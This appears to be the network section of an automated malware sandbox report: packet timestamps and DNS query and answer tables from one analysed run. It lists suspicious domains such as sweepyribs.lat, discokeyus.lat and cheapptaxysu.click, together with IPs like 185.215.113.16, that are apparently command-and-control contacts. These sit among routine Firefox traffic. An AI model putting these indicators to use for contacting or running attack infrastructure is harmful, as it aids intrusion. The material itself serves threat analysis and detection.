Dec 20, 2024 11:12:49.491537094 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.491585016 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.492430925 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.492487907 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.492572069 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.492665052 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.493489981 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.493546963 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.493618965 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.494565010 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.494671106 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.494803905 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.494803905 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.495642900 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.495745897 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.495835066 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.495896101 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.496963978 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.497085094 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.497127056 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.497184992 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.497893095 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.497986078 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.498016119 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.498045921 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.498832941 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.499011040 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.499216080 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.499891996 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.499965906 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.500008106 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.500215054 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.500437021 CET	49886	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:49.500472069 CET	443	49886	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:49.500552893 CET	49886	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:49.500968933 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.501099110 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.501136065 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.501164913 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.501211882 CET	49886	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:49.501228094 CET	443	49886	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:49.502021074 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.502125978 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.502202988 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.503081083 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.503149033 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.503187895 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.503249884 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.504157066 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.504404068 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.504424095 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.504456043 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.505269051 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.505347967 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.505405903 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.505429029 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.506278992 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.506364107 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.506397009 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.506548882 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.507343054 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.507407904 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.507493973 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.507880926 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.508418083 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.508594990 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.508641958 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.508809090 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.509484053 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.509608984 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.509619951 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.509850979 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.510551929 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.510678053 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.510694027 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.510871887 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.511626959 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.511715889 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.511763096 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.511806965 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.512691021 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.512762070 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.512795925 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.513426065 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.513747931 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.513809919 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.513860941 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.514066935 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.514810085 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.514880896 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.514914036 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.515222073 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.515896082 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.516056061 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.516123056 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.517076015 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.517143965 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.517587900 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.517959118 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.518023968 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.654555082 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.654580116 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.654634953 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.654673100 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.654968977 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.655065060 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.655141115 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.655205011 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.656085968 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.656238079 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.656245947 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.656418085 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.657207012 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.657304049 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.657341957 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.657372952 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.658142090 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.658248901 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.658252001 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.658385992 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.659383059 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.659450054 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.659490108 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.659521103 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.660259008 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.660465956 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.660613060 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.661484957 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.661494017 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.661561966 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.662422895 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.662522078 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.662564039 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.662632942 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.663487911 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.663578987 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.663717985 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.663789034 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.664577007 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.664647102 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.664709091 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.665693045 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.665750980 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.665822029 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.666697979 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.666769981 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.666789055 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.666874886 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.667824984 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.667840004 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.667932987 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.668831110 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.669002056 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.669044018 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.669106007 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.669924021 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.670016050 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.670030117 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.670109987 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.670943022 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.670999050 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.671051025 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.671113014 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.672060966 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.672122002 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.672168970 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.672274113 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.673103094 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.673260927 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.673297882 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.673326969 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.674115896 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.674218893 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.674247026 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.674323082 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.675271034 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.675337076 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.675358057 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.675389051 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.676306009 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.676356077 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.676620007 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.677340984 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.677427053 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.677440882 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.677489042 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.678499937 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.678567886 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.678590059 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.678669930 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.679501057 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.679558992 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.679605961 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.679660082 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.680624008 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.680640936 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.680692911 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.680728912 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.681736946 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.681746960 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.681880951 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.682742119 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.682784081 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.682800055 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.682830095 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.683823109 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.683904886 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.683924913 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.683978081 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.684904099 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.684912920 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.684973955 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.686053991 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.686063051 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.686122894 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.687020063 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.687027931 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.687092066 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.688242912 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.688251972 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.688313961 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.689086914 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.689147949 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.689209938 CET	80	49866	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 11:12:17.569950104 CET	192.168.2.4	1.1.1.1	0x4f91	Standard query (0)	lossekniyyt.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:26.329026937 CET	192.168.2.4	1.1.1.1	0xb0c6	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:26.556171894 CET	192.168.2.4	1.1.1.1	0x3c79	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:26.784058094 CET	192.168.2.4	1.1.1.1	0x235f	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:38.314521074 CET	192.168.2.4	1.1.1.1	0xf048	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:38.539123058 CET	192.168.2.4	1.1.1.1	0xd1be	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:46.904055119 CET	192.168.2.4	1.1.1.1	0xd3b0	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:47.047075987 CET	192.168.2.4	1.1.1.1	0x4248	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:50.482184887 CET	192.168.2.4	1.1.1.1	0xc59	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:50.623464108 CET	192.168.2.4	1.1.1.1	0xc962	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 20, 2024 11:12:56.754003048 CET	192.168.2.4	1.1.1.1	0x2c33	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:56.754132032 CET	192.168.2.4	1.1.1.1	0xeaac	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:56.893253088 CET	192.168.2.4	1.1.1.1	0x129f	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:56.895826101 CET	192.168.2.4	1.1.1.1	0x9cc6	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:57.033473015 CET	192.168.2.4	1.1.1.1	0x6f61	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 20, 2024 11:12:57.036470890 CET	192.168.2.4	1.1.1.1	0x92d5	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 20, 2024 11:12:58.717781067 CET	192.168.2.4	1.1.1.1	0x1cad	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:58.855896950 CET	192.168.2.4	1.1.1.1	0x3742	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 20, 2024 11:12:59.402683973 CET	192.168.2.4	1.1.1.1	0x9c16	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:59.446037054 CET	192.168.2.4	1.1.1.1	0x697a	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:03.061110973 CET	192.168.2.4	1.1.1.1	0x20b8	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:03.061455011 CET	192.168.2.4	1.1.1.1	0x94f4	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:03.252526999 CET	192.168.2.4	1.1.1.1	0x312f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 20, 2024 11:13:03.312381983 CET	192.168.2.4	1.1.1.1	0x211e	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 20, 2024 11:13:04.681494951 CET	192.168.2.4	1.1.1.1	0xcccb	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.169022083 CET	192.168.2.4	1.1.1.1	0xb7fd	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.779135942 CET	192.168.2.4	1.1.1.1	0x49b8	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.830054998 CET	192.168.2.4	1.1.1.1	0xb8e8	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.833714962 CET	192.168.2.4	1.1.1.1	0x3f72	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.835719109 CET	192.168.2.4	1.1.1.1	0x9655	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.836589098 CET	192.168.2.4	1.1.1.1	0xa684	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 20, 2024 11:13:08.957401991 CET	192.168.2.4	1.1.1.1	0xa601	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.985635996 CET	192.168.2.4	1.1.1.1	0x411e	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:08.989343882 CET	192.168.2.4	1.1.1.1	0x69e	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:13:19.255683899 CET	192.168.2.4	1.1.1.1	0x9cc2	Standard query (0)	cheapptaxysu.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 11:11:17.199755907 CET	1.1.1.1	192.168.2.4	0x6f44	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:11:17.199755907 CET	1.1.1.1	192.168.2.4	0x6f44	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:18.027822018 CET	1.1.1.1	192.168.2.4	0x4f91	No error (0)	lossekniyyt.click		172.67.131.246	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:18.027822018 CET	1.1.1.1	192.168.2.4	0x4f91	No error (0)	lossekniyyt.click		104.21.12.88	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:26.552862883 CET	1.1.1.1	192.168.2.4	0xb0c6	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:26.780359030 CET	1.1.1.1	192.168.2.4	0x3c79	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:27.175508022 CET	1.1.1.1	192.168.2.4	0x235f	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:27.175508022 CET	1.1.1.1	192.168.2.4	0x235f	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:38.453691959 CET	1.1.1.1	192.168.2.4	0xf048	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:38.676763058 CET	1.1.1.1	192.168.2.4	0xd1be	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:47.045087099 CET	1.1.1.1	192.168.2.4	0xd3b0	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:47.184349060 CET	1.1.1.1	192.168.2.4	0x4248	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:50.474325895 CET	1.1.1.1	192.168.2.4	0x80a1	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:50.622271061 CET	1.1.1.1	192.168.2.4	0xc59	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:56.891803980 CET	1.1.1.1	192.168.2.4	0xeaac	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 11:12:56.891803980 CET	1.1.1.1	192.168.2.4	0xeaac	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:56.894768000 CET	1.1.1.1	192.168.2.4	0x2c33	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:57.032526016 CET	1.1.1.1	192.168.2.4	0x129f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:57.033600092 CET	1.1.1.1	192.168.2.4	0x9cc6	No error (0)	youtube.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 20, 2024 11:12:57.171960115 CET	1.1.1.1	192.168.2.4	0x6f61	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 20, 2024 11:12:57.173300028 CET	1.1.1.1	192.168.2.4	0x92d5	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 20, 2024 11:12:58.714577913 CET	1.1.1.1	192.168.2.4	0x750e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
